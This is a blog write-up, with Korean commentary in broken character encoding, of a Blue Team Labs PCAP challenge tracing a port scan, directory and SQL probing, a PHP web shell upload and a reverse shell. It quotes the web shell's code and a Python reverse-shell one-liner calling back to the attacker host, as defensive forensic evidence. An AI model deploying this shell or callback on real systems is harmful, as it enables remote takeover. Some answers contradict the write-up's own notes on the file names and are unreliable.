๊ธ€ ์ž‘์„ฑ์ž: heogi

[Blue Team Labs] Network Analysis - Web Shell

# ์‹œ๋‚˜๋ฆฌ์˜ค

The SOC received an alert in their SIEM for ‘Local to Local Port Scanning’ where an internal private IP began scanning another internal system. Can you investigate and determine if this activity is malicious or not? You have been provided a PCAP, investigate using any tools you wish.

 

1. What is the IP responsible for conducting the port scan activity?

Answer. 10.251.96.4

๋‚ด๋ถ€์—์„œ Port Scanning์„ ์ˆ˜ํ–‰ํ•˜๋Š” IP ์ฃผ์†Œ๋ฅผ ์ฐพ๋Š”๋‹ค.

10.251.96.4 ์—์„œ 10.251.96.5 ์„œ๋ฒ„๋กœ ๋‹ค์ˆ˜์˜ Syn ํŒจํ‚ท์„ ๋ณด๋‚ด๊ณ  ๊ทธ์—๋”ฐ๋ผ ์„œ๋ฒ„์—์„œ RST, ACK ํŒจํ‚ท์„ ์‘๋‹ตํ•˜๋Š”๊ฑธ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

2. What is the port range scanned by the suspicious host?

Answer. 1 - 1024

Statics → Conversations ๋ฅผ ํ†ตํ•ด 10.251.96.4(๊ณต๊ฒฉ์ž) → 10.251.96.5(์„œ๋ฒ„)๋กœ ํ†ต์‹ ํ•œ ๋‚ด์—ญ์„ ํ™•์ธํ•ด๋ณด๋ฉด ์•„๋ž˜์ฒ˜๋Ÿผ ์Šค์บ๋‹ํ•œ ํฌํŠธ ๋ฒ”์œ„๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

3. What is the type of port scan conducted?

Answer. TCP SYN

10.251.96.4(๊ณต๊ฒฉ์ž) → 10.251.96.5(์„œ๋ฒ„)๋กœ SYN ํŒจํ‚ท์„ ๋ณด๋‚ธ๋‹ค. ์„œ๋ฒ„์—์„œ ์—ด๋ ค์žˆ๋Š” ํฌํŠธ์ผ ๊ฒฝ์šฐ ์„œ๋ฒ„๋Š” SYN + ACK์œผ๋กœ ์‘๋‹ตํ•˜๊ณ  ๊ณต๊ฒฉ์ž๋Š” RST ํŒจํ‚ท์„ ๋ณด๋‚ด ํ†ต์‹ ์„ ์ค‘๋‹จํ•œ๋‹ค.

[Open Port]

 

๋‹ซํ˜€์žˆ๋Š” ํฌํŠธ๋Š” RST+ACK์œผ๋กœ ์‘๋‹ตํ•œ๋‹ค.

[Closed Port]

 

4. Two more tools were used to perform reconnaissance against open ports, what were they?

Answer. gobuster 3.0.1 , sqlmap 1.4.8

HTTP ํŒจํ‚ท์˜ User-Agent ๋ถ€๋ถ„์— ์‚ฌ์šฉํ•œ ํˆด์˜ ์‹œ๊ทธ๋‹ˆ์ณ๊ฐ€ ๋‚จ์•„์žˆ๋‹ค. ํฌํŠธ ์Šค์บ”์„ ํ†ตํ•ด ์›น ์„œ๋ฒ„๊ฐ€ ๋™์ž‘ํ•˜๊ณ ์žˆ๋‹ค๋Š”๊ฑธ ํ™•์ธํ•œ ๊ณต๊ฒฉ์ž๋Š” ์ˆจ๊ฒจ์ง„ ์›น ๊ฒฝ๋กœ๋ฅผ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด gobuster ํˆด์„ ํ†ตํ•ด ์‚ฌ์ „ ๋Œ€์ž… ๊ณต๊ฒฉ์„ ์‹œ๋„ํ•œ๋‹ค.

[gobuster ์‚ฌ์šฉ ํ”์ ]

 

[sqlmap ์‚ฌ์šฉ ํ”์ ] — ์ถ”๊ฐ€ ํ™•์ธ ํ•„์š”

 

5. What is the name of the php file through which the attacker uploaded a web shell?

Answer. Editprofile.php

๊ณต๊ฒฉ์ž๋Š” upload.php๋ฅผ ํ†ตํ•ด Web Shell์„ ์—…๋กœ๋“œํ•˜์˜€๋‹ค. upload.php ํŒŒ์ผ์€ editprofile.php ์—์„œ ์ด๋ฏธ์ง€๋ฅผ ์—…๋กœ๋“œ ํ•˜๋Š” ๊ธฐ๋Šฅ์œผ๋กœ ์ถ”์ •๋œ๋‹ค.

6. What is the name of the web shell that the attacker uploaded?

Answer. Dbfunctions.php

upload.php๋ฅผ ์š”์ฒญํ•œ HTTP์˜ Body๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด Web Shell์˜ ํŒŒ์ผ์ด๋ฆ„์€ dbfunction.php๋กœ ํ™•์ธ๋œ๋‹ค.

7. What is the parameter used in the web shell for executing commands?

Answer. cmd

์•„๋ž˜๋Š” ์—…๋กœ๋“œํ•œ Web Shell์˜ ์ฝ”๋“œ์ด๊ณ  GET Method๋ฅผ ํ†ตํ•ด cmd Parameter๋ฅผ ์‚ฌ์šฉํ•˜๊ณ ์žˆ๋‹ค.

POST /upload.php HTTP/1.1
Host: 10.251.96.5
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: <http://10.251.96.5/editprofile.php>
Content-Type: multipart/form-data; boundary=---------------------------172729275513321405741501890958
Content-Length: 482
Connection: keep-alive
Cookie: PHPSESSID=10b3rrv35ctuvv7vlnsfr6ugjt
Upgrade-Insecure-Requests: 1

-----------------------------172729275513321405741501890958
Content-Disposition: form-data; name="fileToUpload"; filename="dbfunctions.php"
Content-Type: application/x-php

<?php
if(isset($_REQUEST['cmd']) ){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>

-----------------------------172729275513321405741501890958
Content-Disposition: form-data; name="submit"

Upload Image
-----------------------------172729275513321405741501890958--

8. What is the first command executed by the attacker?

Answer. id

/upload/dbfunction.php์— ์ •์ƒ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ๊ฒƒ์„ ํ™•์ธํ•˜๊ณ  ๊ฐ€์žฅ ๋จผ์ € id ๋ช…๋ น์„ ์ˆ˜ํ–‰ํ•œ๋‹ค.

9. What is the type of shell connection the attacker obtains through command execution?

Answer. reverse

GET /uploads/dbfunctions.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.251.96.4%22,4422));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27 HTTP/1.1
Host: 10.251.96.5
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: PHPSESSID=10b3rrv35ctuvv7vlnsfr6ugjt
Upgrade-Insecure-Requests: 1

python -c ์˜ต์…˜์„ ํ†ตํ•ด command๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„ 10.251.96.4์˜ 4422 Port๋กœ Socket Connection์„ ์‹œ๋„ํ•œ๋‹ค.

์ด๋Š” Resverse Shell Connection์ด๋‹ค.

 

10. What is the port he uses for the shell connection ?

Answer. 4422

์œ„ command์—์„œ ํ”ผํ•ด์ž ์„œ๋ฒ„๊ฐ€ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ ์—ฐ๊ฒฐํ•˜๋Š” Port๋Š” 4422 ๋ฒˆ์ด๋‹ค.